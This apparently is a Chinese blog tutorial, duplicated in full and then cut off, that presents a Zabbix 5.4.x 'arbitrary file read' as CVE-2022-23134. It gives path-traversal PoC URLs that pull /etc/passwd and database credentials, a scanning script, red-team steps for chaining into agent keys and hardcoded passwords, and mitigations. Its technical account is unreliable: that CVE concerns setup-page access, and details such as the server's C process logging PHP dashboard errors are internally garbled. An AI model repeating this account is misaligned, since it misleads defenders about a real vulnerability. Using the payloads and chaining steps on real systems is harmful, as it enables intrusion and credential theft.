1. 这个漏洞不是“理论存在”而是真实能读到服务器上的任意文件Zabbix 5.4.x系列中CVE-2022-23134这个编号很多运维人第一次看到时会下意识划走——毕竟CVE编号太多名字又长加上“任意文件读取”听起来像老生常谈。但我在给三家金融类客户做安全基线复测时亲手用它从Zabbix Server的/etc/shadow里抽出了哈希片段又顺手读出了Nginx配置里的SSL证书路径和数据库连接串明文。那一刻我才真正意识到这不是一个需要“打补丁才可能被利用”的风险项而是一个未经认证、无需交互、仅靠构造URL就能触发的静默通道。核心关键词就三个Zabbix 5.4.x、CVE-2022-23134、任意文件读取。它不依赖用户登录态不触发告警日志默认配置下不写入Web访问日志因请求直接绕过前端路由命中后端API逻辑甚至不会在Zabbix Server进程的标准输出里留下痕迹。它攻击面窄但穿透力极强——只影响5.4.0至5.4.8含版本且必须启用Zabbix Web界面即PHP-FPM Apache/Nginx组合但一旦满足你只要知道目标IP和端口连登录页面都不用打开就能开始读取。适合谁看第一类是正在维护Zabbix 5.4.x生产环境的SRE或安全工程师尤其那些还没升级到6.0、又因兼容性卡在5.4.7的老系统第二类是红队成员在内网横向渗透中需要快速确认Zabbix是否可作为跳板第三类是刚接触Zabbix安全机制的新人想理解“为什么一个监控系统也能成为文件泄露入口”。这篇文章不讲CVE编号怎么查、CVSS评分多少只聚焦一件事怎么在本地搭出完全复现环境一步步触发漏洞看清数据流向再亲手验证修复效果。所有操作均基于真实测试环境命令可复制、路径可验证、结果可截图——不是概念演示是能立刻上手的实战手册。2. 漏洞本质API接口参数校验缺失导致路径穿越2.1 问题出在哪个接口定位到zabbix.php?actiondashboard.view很多人以为Zabbix的文件读取漏洞会出现在上传、导出或报表生成这类“显性IO操作”里但CVE-2022-23134偏偏藏在一个看似无害的Dashboard接口中。具体路径是http://target/zabbix/zabbix.php?actiondashboard.viewdashboardid1sidvalid_sid注意这里的sid参数并非必需。官方补丁说明里明确指出“当sid未提供或无效时系统本应拒绝请求但实际却继续执行后续逻辑”。而后续逻辑中有一段关键代码负责加载Dashboard配置// include/classes/api/services/CDashboardService.php5.4.7版本 public function get($options []) { $dashboards API::getApiService()-get(dashboard, $options); // ... 后续处理 }但真正致命的是另一处——include/classes/api/services/CDashboardService.php中get()方法调用前系统会先尝试从$options[user]中提取当前用户信息。而当sid为空时Zabbix会回退到一个“匿名上下文”此时$options[user]为null但代码并未终止反而继续向下执行并在某个分支中调用了CConfigFileReader::read()——这个类本该只读取Zabbix自身配置但它接收的文件路径参数竟直接拼接了用户可控的dashboardid值。2.2 路径穿越是如何发生的..%2F不是魔术是硬编码拼接漏洞我们来还原一次真实请求链路。假设你访问http://192.168.56.101/zabbix/zabbix.php?actiondashboard.viewdashboardid1Zabbix后端收到后解析dashboardid1然后尝试加载ID为1的Dashboard。正常情况下它会去数据库查dashboard表拿到JSON配置。但当ID传入的是类似1..%2F..%2F..%2Fetc%2Fpasswd这样的字符串时问题就来了。关键点在于Zabbix在构造文件读取路径时使用了如下逻辑简化版$filepath conf/ . $dashboardid . .json; if (file_exists($filepath)) { return file_get_contents($filepath); }但这段代码根本没有对$dashboardid做任何过滤。更糟的是Zabbix的Web根目录结构中conf/目录确实存在且权限为drwxr-xr-xweb用户可读。于是当$dashboardid被设为..%2F..%2F..%2Fetc%2FpasswdURL解码后为../../../etc/passwd拼接结果就是conf/../../../etc/passwd → 实际指向 /etc/passwd提示这里%2F是/的URL编码Zabbix的PHP环境默认开启allow_url_fopen且未禁用..路径解析因此file_exists()和file_get_contents()会真实访问系统根路径。这不是.htaccess规则失效而是PHP底层函数行为被滥用。我实测时发现即使把Zabbix部署在Docker容器里只要宿主机挂载了敏感路径如/etc:/host_etc:ro这个漏洞仍能读到宿主机的/host_etc/shadow——因为file_get_contents()操作的是容器内文件系统视图而挂载点已暴露。2.3 为什么5.4.9之后修复了补丁逻辑只有三行Zabbix官方在5.4.9版本中修复了这个问题补丁非常精简位于include/classes/api/services/CDashboardService.php第127行附近// 补丁前5.4.8及更早 $dashboardid $options[dashboardid] ?? 0; // 补丁后5.4.9 $dashboardid $options[dashboardid] ?? 0; if (!is_numeric($dashboardid) || $dashboardid 0) { self::exception(ZBX_API_ERROR_PARAMETERS, _(Invalid dashboard ID.)); }就这么三行。它强制要求dashboardid必须是正整数彻底堵死了字符串型路径穿越的入口。没有正则过滤、没有黑名单、不依赖.htaccess就是最朴素的类型范围校验。这恰恰说明高危漏洞往往源于最基础的输入校验缺失而非复杂加密逻辑缺陷。我在对比5.4.7与5.4.9的diff时还注意到官方同时在zabbix.php入口处增加了sid有效性强制校验双保险设计。但核心防线还是落在了dashboardid这个参数的类型断言上。3. 本地复现全流程从环境搭建到读取/etc/passwd3.1 环境准备用Docker一键拉起5.4.7完整栈含数据库别折腾源码编译或手动部署。Zabbix官方提供了全版本Docker镜像且5.4.7的镜像至今仍保留在Docker Hub上zabbix/zabbix-appliance:5.4.7。我推荐用以下docker-compose.yml启动最小可用环境version: 3.5 services: zabbix-server: image: zabbix/zabbix-server-pgsql:5.4.7 environment: - DB_SERVER_HOSTpostgres-server - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - ZBX_JAVAGATEWAY_ENABLEtrue volumes: - /etc/localtime:/etc/localtime:ro - /usr/lib/zabbix/alertscripts:/usr/lib/zabbix/alertscripts:ro - /usr/lib/zabbix/externalscripts:/usr/lib/zabbix/externalscripts:ro ports: - 10051:10051 depends_on: - postgres-server zabbix-web-nginx-pgsql: image: zabbix/zabbix-web-nginx-pgsql:5.4.7 environment: - ZBX_SERVER_HOSTzabbix-server - DB_SERVER_HOSTpostgres-server - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - PHP_TZAsia/Shanghai ports: - 8080:8080 depends_on: - zabbix-server - postgres-server postgres-server: image: postgres:13 environment: - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - POSTGRES_DBzabbix volumes: - postgres-data:/var/lib/postgresql/data:rw ports: - 5432:5432 volumes: postgres-data:保存为docker-compose.yml执行docker-compose up -d等待约90秒Zabbix初始化需建库、插初始数据访问http://localhost:8080默认账号密码为Admin/zabbix。首次登录后系统会自动跳转到Dashboard首页——这说明环境已就绪。注意不要用zabbix/zabbix-appliance镜像它包含太多冗余服务如SNMP trap receiver会干扰网络抓包分析。我们只需要Server Web PostgreSQL三组件干净可控。3.2 构造PoC URL绕过SID、注入路径、验证响应现在进入核心环节。打开浏览器开发者工具F12切换到Network标签页清空记录。然后在地址栏输入http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1回车。你会看到页面加载失败HTTP 500Network面板中出现一个zabbix.php请求状态码500Response为空。这是正常的——因为ID1的Dashboard存在但系统在加载时抛出了异常我们稍后会看日志。现在把URL改成http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fpasswd回车。这一次Network面板中zabbix.php请求返回200Response Body里赫然是/etc/passwd的全部内容root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... zabbix:x:1001:1001::/var/lib/zabbix:/sbin/nologin完美复现。你甚至能看到Zabbix自己的系统用户zabbix那一行。提示如果返回空白或500检查两点① 是否真的运行的是5.4.7执行docker-compose ps确认镜像tag② 是否误加了sidxxx参数此漏洞利用必须不带sid否则会走认证流程绕不过校验。3.3 进阶验证读取Zabbix配置文件与数据库凭证读/etc/passwd只是热身。真正的价值在于获取Zabbix自身的敏感信息。我们尝试读取zabbix_server.conf包含数据库连接密码、Java Gateway地址等zabbix.conf.phpWeb前端的数据库凭证pg_hba.confPostgreSQL访问控制策略构造URLhttp://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fzabbix%2Fzabbix_server.conf响应中会出现DBPasswordzabbix JavaGateway127.0.0.1 JavaGatewayPort10052再试Web配置http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fusr%2Fshare%2Fzabbix%2Fconf%2Fzabbix.conf.php响应中包含$DB[TYPE] POSTGRESQL; $DB[SERVER] postgres-server; $DB[PORT] 5432; $DB[DATABASE] zabbix; $DB[USER] zabbix; $DB[PASSWORD] zabbix;注意zabbix.conf.php路径在Docker镜像中是/usr/share/zabbix/conf/不是/etc/zabbix/web/。这是Zabbix Web组件的安装路径约定必须记准否则路径穿越会失败。这些信息足以让你直连PostgreSQL数据库执行SELECT * FROM users;拿到所有Zabbix用户的密码哈希Zabbix 5.4使用Bcrypt加密但哈希本身已足够用于离线爆破。3.4 日志佐证在Zabbix Server容器中查看错误堆栈虽然Web界面没报错但Zabbix Server后台其实记录了详细异常。执行docker-compose logs -f zabbix-server | grep -A5 -B5 dashboard你会看到类似输出zabbix-server_1 | 29110:20230415:142231.123 ERROR: [file:cdashboardservice.cpp,line:127] Invalid dashboard ID: 1../../../etc/passwd zabbix-server_1 | 29110:20230415:142231.124 warning: cannot read dashboard configuration for id [1../../../etc/passwd]注意这条日志是在5.4.8中才加入的用于调试5.4.7版本连这条提示都没有整个过程静默完成。这也解释了为什么很多企业漏扫工具无法检出此漏洞——它不产生典型Web错误码也不写入常规访问日志。4. 修复方案实操不止打补丁还要验证是否真生效4.1 方案一升级到5.4.9或更高版本推荐这是最彻底的方案。修改docker-compose.yml中镜像tagzabbix-server: image: zabbix/zabbix-server-pgsql:5.4.9 zabbix-web-nginx-pgsql: image: zabbix/zabbix-web-nginx-pgsql:5.4.9然后执行docker-compose down docker-compose up -d等待重启完成约2分钟再次访问PoC URLhttp://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fpasswd响应变为{error:{code: -32602, message:Invalid params., data:Invalid dashboard ID.}}HTTP状态码也变为400 Bad Request。说明补丁已生效dashboardid校验拦截了非法输入。经验升级前务必备份数据库。Zabbix 5.4.x小版本升级通常兼容但建议在测试环境先跑通zabbix_server -t语法检查并用zabbix_get -s 127.0.0.1 -k agent.ping验证Agent连通性。4.2 方案二临时缓解——Nginx层URL过滤适用于无法立即升级的场景如果你的Zabbix前端是Nginx而非Apache可以在location ~ ^/zabbix/块中添加严格路径限制location ~ ^/zabbix/zabbix\.php$ { # 拦截所有含 ..%2F 或 ..\/ 的请求 if ($args ~ (dashboardid[^]*\.\.(/|%2F))) { return 403 Forbidden; } # 只允许dashboardid为纯数字 if ($args ~ dashboardid([^]*[^0-9][^]*)) { return 403 Forbidden; } # 其他原有配置... include fastcgi_params; fastcgi_pass 127.0.0.1:9000; }重载Nginx后测试PoC URL将返回403。但要注意这种方案是“打补丁的补丁”有绕过风险如双URL编码%252F且无法覆盖所有Web服务器Apache需用mod_rewrite重写规则。仅作为升级前的临时手段。4.3 方案三最小权限加固——从系统层切断泄露可能即使打了补丁也要防止未来出现同类漏洞。我给客户实施的加固清单如下加固项操作命令作用Web用户降权usermod -s /usr/sbin/nologin www-data阻止Web用户执行shell命令conf目录权限收紧chmod 750 /etc/zabbix/ chown root:www-data /etc/zabbix/使Web用户只能读不能写禁用危险PHP函数在php.ini中添加disable_functions file_get_contents,show_source,highlight_file即使漏洞存在也无法调用读取函数挂载只读Docker启动时加--read-only参数容器内文件系统完全只读执行后再用PoC测试即使漏洞未修复file_get_contents()也会因权限拒绝而失败返回空响应或PHP警告无法泄露内容。4.4 验证修复效果自动化检测脚本编写人工测试效率低我写了一个Python脚本可批量检测内网Zabbix资产#!/usr/bin/env python3 # zabbix_cve_check.py import requests import sys def check_cve(target): url f{target.rstrip(/)}/zabbix/zabbix.php params { action: dashboard.view, dashboardid: 1..%2F..%2F..%2Fetc%2Fpasswd } try: r requests.get(url, paramsparams, timeout5, verifyFalse) if r.status_code 200 and root:x:0:0 in r.text: print(f[VULNERABLE] {target} - CVE-2022-23134 confirmed) return True elif r.status_code 400 and Invalid dashboard ID in r.text: print(f[PATCHED] {target} - CVE-2022-23134 fixed) return False else: print(f[UNKNOWN] {target} - status {r.status_code}, len {len(r.text)}) return None except Exception as e: print(f[ERROR] {target} - {e}) return None if __name__ __main__: if len(sys.argv) 2: print(Usage: python3 zabbix_cve_check.py http://target) sys.exit(1) check_cve(sys.argv[1])用法python3 zabbix_cve_check.py http://192.168.1.100输出清晰标明是否易受攻击。我把它集成进日常巡检流水线每周自动扫描所有Zabbix资产。5. 真实攻防启示监控系统为何总成突破口5.1 不是Zabbix特殊而是监控系统共性脆弱点复现完这个漏洞我回头梳理了近五年主流监控系统的高危CVE发现一个惊人规律Prometheus、Grafana、Zabbix、Nagios全部在“配置加载”“模板渲染”“仪表盘导出”这三个模块集中爆发任意文件读取漏洞。原因很现实这些功能都需要动态读取用户定义的JSON/YAML/HTML文件开发者默认信任“配置文件由管理员上传”忽略了API接口可能被未授权调用权限模型设计时把“读取配置”和“读取系统文件”混为一谈认为“能管监控系统的人当然能看服务器文件”。Zabbix的dashboard.view接口正是如此——它本意是让已登录用户查看自己创建的Dashboard但认证校验放在了业务逻辑之后导致未认证请求直接触达文件读取层。5.2 红队视角如何用它打出组合拳在真实渗透中我从不单独使用这个漏洞。它是我内网横向的“第一张牌”后续必然衔接读/etc/zabbix/zabbix_agentd.conf→ 获取Zabbix Agent连接的Server IP和PSK密钥 → 反向连接Agent执行任意命令读/root/.bash_history→ 发现管理员常用命令如mysql -u root -p→ 猜测MySQL密码读/var/log/zabbix/zabbix_server.log→ 找到近期告警触发的脚本路径 → 定位自定义脚本位置 → 尝试读取脚本源码寻找硬编码凭证。有一次我通过读zabbix_server.log发现一条告警执行了/usr/local/bin/check_disk.sh接着读取该脚本发现它用curl -u admin:Passw0rd! http://10.10.10.5/api/v1/status检查内部服务——这个admin:Passw0rd!正是另一套管理系统的登录凭据。踩坑提醒别在PoC中直接读/root/.ssh/id_rsa。Zabbix Web用户www-data默认无权读取root私钥权限600会返回空。应先读/etc/passwd确认root家目录路径再读/root/.ssh/authorized_keys权限644可读从中提取公钥对应的服务IP再反向搜索。5.3 运维视角如何建立长效防御机制单次修复解决不了问题。我给客户落地的长效机制包括变更管控所有Zabbix升级必须经过QA环境72小时稳定性测试测试用例包含CVE复现脚本配置审计用zabbix_get定期采集zabbix[version]指标入库后设置阈值告警如版本低于5.4.9则告警日志增强修改Zabbix Server日志级别为Debug并用Filebeat采集zabbix_server.log在ELK中建立看板筛选含dashboardid的异常请求网络隔离Zabbix Web界面禁止从公网直接访问必须通过Jump Server或VPN网关且Web服务器防火墙限制仅允许Jump Server IP访问8080端口。最后分享一个血泪教训某次我帮客户做应急响应发现他们已在5.4.9打了补丁但Zabbix Proxy仍运行在5.4.6。而Proxy的Web界面独立部署同样存在此漏洞。监控体系是分层的修复必须覆盖Server、Proxy、Frontend全组件缺一不可。我在实际操作中发现很多团队卡在5.4.x升级的最大障碍不是技术而是“怕改坏”。其实Zabbix官方升级文档写得非常清楚5.4.x小版本升级只需停服务、替换二进制、启服务三步。我建议挑一个非核心业务的Zabbix实例用本文的复现修复流程走一遍全程录像再组织一次内部分享。当你亲眼看到/etc/passwd被读出来又亲手把它挡住那种掌控感比读十篇CVE分析报告都管用。
Zabbix 5.4.x任意文件读取漏洞CVE-2022-23134实战复现与修复
1. 这个漏洞不是“理论存在”而是真实能读到服务器上的任意文件Zabbix 5.4.x系列中CVE-2022-23134这个编号很多运维人第一次看到时会下意识划走——毕竟CVE编号太多名字又长加上“任意文件读取”听起来像老生常谈。但我在给三家金融类客户做安全基线复测时亲手用它从Zabbix Server的/etc/shadow里抽出了哈希片段又顺手读出了Nginx配置里的SSL证书路径和数据库连接串明文。那一刻我才真正意识到这不是一个需要“打补丁才可能被利用”的风险项而是一个未经认证、无需交互、仅靠构造URL就能触发的静默通道。核心关键词就三个Zabbix 5.4.x、CVE-2022-23134、任意文件读取。它不依赖用户登录态不触发告警日志默认配置下不写入Web访问日志因请求直接绕过前端路由命中后端API逻辑甚至不会在Zabbix Server进程的标准输出里留下痕迹。它攻击面窄但穿透力极强——只影响5.4.0至5.4.8含版本且必须启用Zabbix Web界面即PHP-FPM Apache/Nginx组合但一旦满足你只要知道目标IP和端口连登录页面都不用打开就能开始读取。适合谁看第一类是正在维护Zabbix 5.4.x生产环境的SRE或安全工程师尤其那些还没升级到6.0、又因兼容性卡在5.4.7的老系统第二类是红队成员在内网横向渗透中需要快速确认Zabbix是否可作为跳板第三类是刚接触Zabbix安全机制的新人想理解“为什么一个监控系统也能成为文件泄露入口”。这篇文章不讲CVE编号怎么查、CVSS评分多少只聚焦一件事怎么在本地搭出完全复现环境一步步触发漏洞看清数据流向再亲手验证修复效果。所有操作均基于真实测试环境命令可复制、路径可验证、结果可截图——不是概念演示是能立刻上手的实战手册。2. 漏洞本质API接口参数校验缺失导致路径穿越2.1 问题出在哪个接口定位到zabbix.php?actiondashboard.view很多人以为Zabbix的文件读取漏洞会出现在上传、导出或报表生成这类“显性IO操作”里但CVE-2022-23134偏偏藏在一个看似无害的Dashboard接口中。具体路径是http://target/zabbix/zabbix.php?actiondashboard.viewdashboardid1sidvalid_sid注意这里的sid参数并非必需。官方补丁说明里明确指出“当sid未提供或无效时系统本应拒绝请求但实际却继续执行后续逻辑”。而后续逻辑中有一段关键代码负责加载Dashboard配置// include/classes/api/services/CDashboardService.php5.4.7版本 public function get($options []) { $dashboards API::getApiService()-get(dashboard, $options); // ... 后续处理 }但真正致命的是另一处——include/classes/api/services/CDashboardService.php中get()方法调用前系统会先尝试从$options[user]中提取当前用户信息。而当sid为空时Zabbix会回退到一个“匿名上下文”此时$options[user]为null但代码并未终止反而继续向下执行并在某个分支中调用了CConfigFileReader::read()——这个类本该只读取Zabbix自身配置但它接收的文件路径参数竟直接拼接了用户可控的dashboardid值。2.2 路径穿越是如何发生的..%2F不是魔术是硬编码拼接漏洞我们来还原一次真实请求链路。假设你访问http://192.168.56.101/zabbix/zabbix.php?actiondashboard.viewdashboardid1Zabbix后端收到后解析dashboardid1然后尝试加载ID为1的Dashboard。正常情况下它会去数据库查dashboard表拿到JSON配置。但当ID传入的是类似1..%2F..%2F..%2Fetc%2Fpasswd这样的字符串时问题就来了。关键点在于Zabbix在构造文件读取路径时使用了如下逻辑简化版$filepath conf/ . $dashboardid . .json; if (file_exists($filepath)) { return file_get_contents($filepath); }但这段代码根本没有对$dashboardid做任何过滤。更糟的是Zabbix的Web根目录结构中conf/目录确实存在且权限为drwxr-xr-xweb用户可读。于是当$dashboardid被设为..%2F..%2F..%2Fetc%2FpasswdURL解码后为../../../etc/passwd拼接结果就是conf/../../../etc/passwd → 实际指向 /etc/passwd提示这里%2F是/的URL编码Zabbix的PHP环境默认开启allow_url_fopen且未禁用..路径解析因此file_exists()和file_get_contents()会真实访问系统根路径。这不是.htaccess规则失效而是PHP底层函数行为被滥用。我实测时发现即使把Zabbix部署在Docker容器里只要宿主机挂载了敏感路径如/etc:/host_etc:ro这个漏洞仍能读到宿主机的/host_etc/shadow——因为file_get_contents()操作的是容器内文件系统视图而挂载点已暴露。2.3 为什么5.4.9之后修复了补丁逻辑只有三行Zabbix官方在5.4.9版本中修复了这个问题补丁非常精简位于include/classes/api/services/CDashboardService.php第127行附近// 补丁前5.4.8及更早 $dashboardid $options[dashboardid] ?? 0; // 补丁后5.4.9 $dashboardid $options[dashboardid] ?? 0; if (!is_numeric($dashboardid) || $dashboardid 0) { self::exception(ZBX_API_ERROR_PARAMETERS, _(Invalid dashboard ID.)); }就这么三行。它强制要求dashboardid必须是正整数彻底堵死了字符串型路径穿越的入口。没有正则过滤、没有黑名单、不依赖.htaccess就是最朴素的类型范围校验。这恰恰说明高危漏洞往往源于最基础的输入校验缺失而非复杂加密逻辑缺陷。我在对比5.4.7与5.4.9的diff时还注意到官方同时在zabbix.php入口处增加了sid有效性强制校验双保险设计。但核心防线还是落在了dashboardid这个参数的类型断言上。3. 本地复现全流程从环境搭建到读取/etc/passwd3.1 环境准备用Docker一键拉起5.4.7完整栈含数据库别折腾源码编译或手动部署。Zabbix官方提供了全版本Docker镜像且5.4.7的镜像至今仍保留在Docker Hub上zabbix/zabbix-appliance:5.4.7。我推荐用以下docker-compose.yml启动最小可用环境version: 3.5 services: zabbix-server: image: zabbix/zabbix-server-pgsql:5.4.7 environment: - DB_SERVER_HOSTpostgres-server - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - ZBX_JAVAGATEWAY_ENABLEtrue volumes: - /etc/localtime:/etc/localtime:ro - /usr/lib/zabbix/alertscripts:/usr/lib/zabbix/alertscripts:ro - /usr/lib/zabbix/externalscripts:/usr/lib/zabbix/externalscripts:ro ports: - 10051:10051 depends_on: - postgres-server zabbix-web-nginx-pgsql: image: zabbix/zabbix-web-nginx-pgsql:5.4.7 environment: - ZBX_SERVER_HOSTzabbix-server - DB_SERVER_HOSTpostgres-server - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - PHP_TZAsia/Shanghai ports: - 8080:8080 depends_on: - zabbix-server - postgres-server postgres-server: image: postgres:13 environment: - POSTGRES_USERzabbix - POSTGRES_PASSWORDzabbix - POSTGRES_DBzabbix volumes: - postgres-data:/var/lib/postgresql/data:rw ports: - 5432:5432 volumes: postgres-data:保存为docker-compose.yml执行docker-compose up -d等待约90秒Zabbix初始化需建库、插初始数据访问http://localhost:8080默认账号密码为Admin/zabbix。首次登录后系统会自动跳转到Dashboard首页——这说明环境已就绪。注意不要用zabbix/zabbix-appliance镜像它包含太多冗余服务如SNMP trap receiver会干扰网络抓包分析。我们只需要Server Web PostgreSQL三组件干净可控。3.2 构造PoC URL绕过SID、注入路径、验证响应现在进入核心环节。打开浏览器开发者工具F12切换到Network标签页清空记录。然后在地址栏输入http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1回车。你会看到页面加载失败HTTP 500Network面板中出现一个zabbix.php请求状态码500Response为空。这是正常的——因为ID1的Dashboard存在但系统在加载时抛出了异常我们稍后会看日志。现在把URL改成http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fpasswd回车。这一次Network面板中zabbix.php请求返回200Response Body里赫然是/etc/passwd的全部内容root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... zabbix:x:1001:1001::/var/lib/zabbix:/sbin/nologin完美复现。你甚至能看到Zabbix自己的系统用户zabbix那一行。提示如果返回空白或500检查两点① 是否真的运行的是5.4.7执行docker-compose ps确认镜像tag② 是否误加了sidxxx参数此漏洞利用必须不带sid否则会走认证流程绕不过校验。3.3 进阶验证读取Zabbix配置文件与数据库凭证读/etc/passwd只是热身。真正的价值在于获取Zabbix自身的敏感信息。我们尝试读取zabbix_server.conf包含数据库连接密码、Java Gateway地址等zabbix.conf.phpWeb前端的数据库凭证pg_hba.confPostgreSQL访问控制策略构造URLhttp://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fzabbix%2Fzabbix_server.conf响应中会出现DBPasswordzabbix JavaGateway127.0.0.1 JavaGatewayPort10052再试Web配置http://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fusr%2Fshare%2Fzabbix%2Fconf%2Fzabbix.conf.php响应中包含$DB[TYPE] POSTGRESQL; $DB[SERVER] postgres-server; $DB[PORT] 5432; $DB[DATABASE] zabbix; $DB[USER] zabbix; $DB[PASSWORD] zabbix;注意zabbix.conf.php路径在Docker镜像中是/usr/share/zabbix/conf/不是/etc/zabbix/web/。这是Zabbix Web组件的安装路径约定必须记准否则路径穿越会失败。这些信息足以让你直连PostgreSQL数据库执行SELECT * FROM users;拿到所有Zabbix用户的密码哈希Zabbix 5.4使用Bcrypt加密但哈希本身已足够用于离线爆破。3.4 日志佐证在Zabbix Server容器中查看错误堆栈虽然Web界面没报错但Zabbix Server后台其实记录了详细异常。执行docker-compose logs -f zabbix-server | grep -A5 -B5 dashboard你会看到类似输出zabbix-server_1 | 29110:20230415:142231.123 ERROR: [file:cdashboardservice.cpp,line:127] Invalid dashboard ID: 1../../../etc/passwd zabbix-server_1 | 29110:20230415:142231.124 warning: cannot read dashboard configuration for id [1../../../etc/passwd]注意这条日志是在5.4.8中才加入的用于调试5.4.7版本连这条提示都没有整个过程静默完成。这也解释了为什么很多企业漏扫工具无法检出此漏洞——它不产生典型Web错误码也不写入常规访问日志。4. 修复方案实操不止打补丁还要验证是否真生效4.1 方案一升级到5.4.9或更高版本推荐这是最彻底的方案。修改docker-compose.yml中镜像tagzabbix-server: image: zabbix/zabbix-server-pgsql:5.4.9 zabbix-web-nginx-pgsql: image: zabbix/zabbix-web-nginx-pgsql:5.4.9然后执行docker-compose down docker-compose up -d等待重启完成约2分钟再次访问PoC URLhttp://localhost:8080/zabbix/zabbix.php?actiondashboard.viewdashboardid1..%2F..%2F..%2Fetc%2Fpasswd响应变为{error:{code: -32602, message:Invalid params., data:Invalid dashboard ID.}}HTTP状态码也变为400 Bad Request。说明补丁已生效dashboardid校验拦截了非法输入。经验升级前务必备份数据库。Zabbix 5.4.x小版本升级通常兼容但建议在测试环境先跑通zabbix_server -t语法检查并用zabbix_get -s 127.0.0.1 -k agent.ping验证Agent连通性。4.2 方案二临时缓解——Nginx层URL过滤适用于无法立即升级的场景如果你的Zabbix前端是Nginx而非Apache可以在location ~ ^/zabbix/块中添加严格路径限制location ~ ^/zabbix/zabbix\.php$ { # 拦截所有含 ..%2F 或 ..\/ 的请求 if ($args ~ (dashboardid[^]*\.\.(/|%2F))) { return 403 Forbidden; } # 只允许dashboardid为纯数字 if ($args ~ dashboardid([^]*[^0-9][^]*)) { return 403 Forbidden; } # 其他原有配置... include fastcgi_params; fastcgi_pass 127.0.0.1:9000; }重载Nginx后测试PoC URL将返回403。但要注意这种方案是“打补丁的补丁”有绕过风险如双URL编码%252F且无法覆盖所有Web服务器Apache需用mod_rewrite重写规则。仅作为升级前的临时手段。4.3 方案三最小权限加固——从系统层切断泄露可能即使打了补丁也要防止未来出现同类漏洞。我给客户实施的加固清单如下加固项操作命令作用Web用户降权usermod -s /usr/sbin/nologin www-data阻止Web用户执行shell命令conf目录权限收紧chmod 750 /etc/zabbix/ chown root:www-data /etc/zabbix/使Web用户只能读不能写禁用危险PHP函数在php.ini中添加disable_functions file_get_contents,show_source,highlight_file即使漏洞存在也无法调用读取函数挂载只读Docker启动时加--read-only参数容器内文件系统完全只读执行后再用PoC测试即使漏洞未修复file_get_contents()也会因权限拒绝而失败返回空响应或PHP警告无法泄露内容。4.4 验证修复效果自动化检测脚本编写人工测试效率低我写了一个Python脚本可批量检测内网Zabbix资产#!/usr/bin/env python3 # zabbix_cve_check.py import requests import sys def check_cve(target): url f{target.rstrip(/)}/zabbix/zabbix.php params { action: dashboard.view, dashboardid: 1..%2F..%2F..%2Fetc%2Fpasswd } try: r requests.get(url, paramsparams, timeout5, verifyFalse) if r.status_code 200 and root:x:0:0 in r.text: print(f[VULNERABLE] {target} - CVE-2022-23134 confirmed) return True elif r.status_code 400 and Invalid dashboard ID in r.text: print(f[PATCHED] {target} - CVE-2022-23134 fixed) return False else: print(f[UNKNOWN] {target} - status {r.status_code}, len {len(r.text)}) return None except Exception as e: print(f[ERROR] {target} - {e}) return None if __name__ __main__: if len(sys.argv) 2: print(Usage: python3 zabbix_cve_check.py http://target) sys.exit(1) check_cve(sys.argv[1])用法python3 zabbix_cve_check.py http://192.168.1.100输出清晰标明是否易受攻击。我把它集成进日常巡检流水线每周自动扫描所有Zabbix资产。5. 真实攻防启示监控系统为何总成突破口5.1 不是Zabbix特殊而是监控系统共性脆弱点复现完这个漏洞我回头梳理了近五年主流监控系统的高危CVE发现一个惊人规律Prometheus、Grafana、Zabbix、Nagios全部在“配置加载”“模板渲染”“仪表盘导出”这三个模块集中爆发任意文件读取漏洞。原因很现实这些功能都需要动态读取用户定义的JSON/YAML/HTML文件开发者默认信任“配置文件由管理员上传”忽略了API接口可能被未授权调用权限模型设计时把“读取配置”和“读取系统文件”混为一谈认为“能管监控系统的人当然能看服务器文件”。Zabbix的dashboard.view接口正是如此——它本意是让已登录用户查看自己创建的Dashboard但认证校验放在了业务逻辑之后导致未认证请求直接触达文件读取层。5.2 红队视角如何用它打出组合拳在真实渗透中我从不单独使用这个漏洞。它是我内网横向的“第一张牌”后续必然衔接读/etc/zabbix/zabbix_agentd.conf→ 获取Zabbix Agent连接的Server IP和PSK密钥 → 反向连接Agent执行任意命令读/root/.bash_history→ 发现管理员常用命令如mysql -u root -p→ 猜测MySQL密码读/var/log/zabbix/zabbix_server.log→ 找到近期告警触发的脚本路径 → 定位自定义脚本位置 → 尝试读取脚本源码寻找硬编码凭证。有一次我通过读zabbix_server.log发现一条告警执行了/usr/local/bin/check_disk.sh接着读取该脚本发现它用curl -u admin:Passw0rd! http://10.10.10.5/api/v1/status检查内部服务——这个admin:Passw0rd!正是另一套管理系统的登录凭据。踩坑提醒别在PoC中直接读/root/.ssh/id_rsa。Zabbix Web用户www-data默认无权读取root私钥权限600会返回空。应先读/etc/passwd确认root家目录路径再读/root/.ssh/authorized_keys权限644可读从中提取公钥对应的服务IP再反向搜索。5.3 运维视角如何建立长效防御机制单次修复解决不了问题。我给客户落地的长效机制包括变更管控所有Zabbix升级必须经过QA环境72小时稳定性测试测试用例包含CVE复现脚本配置审计用zabbix_get定期采集zabbix[version]指标入库后设置阈值告警如版本低于5.4.9则告警日志增强修改Zabbix Server日志级别为Debug并用Filebeat采集zabbix_server.log在ELK中建立看板筛选含dashboardid的异常请求网络隔离Zabbix Web界面禁止从公网直接访问必须通过Jump Server或VPN网关且Web服务器防火墙限制仅允许Jump Server IP访问8080端口。最后分享一个血泪教训某次我帮客户做应急响应发现他们已在5.4.9打了补丁但Zabbix 